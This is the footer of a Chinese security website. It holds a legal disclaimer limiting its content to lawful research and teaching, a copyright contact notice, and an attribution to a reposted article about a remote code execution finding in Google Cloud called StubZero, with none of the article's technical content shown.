本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《StubZero:在 Google Cloud 生产环境中造成 148,337 美元的远程代码执行损失》

评论:0   参与:  0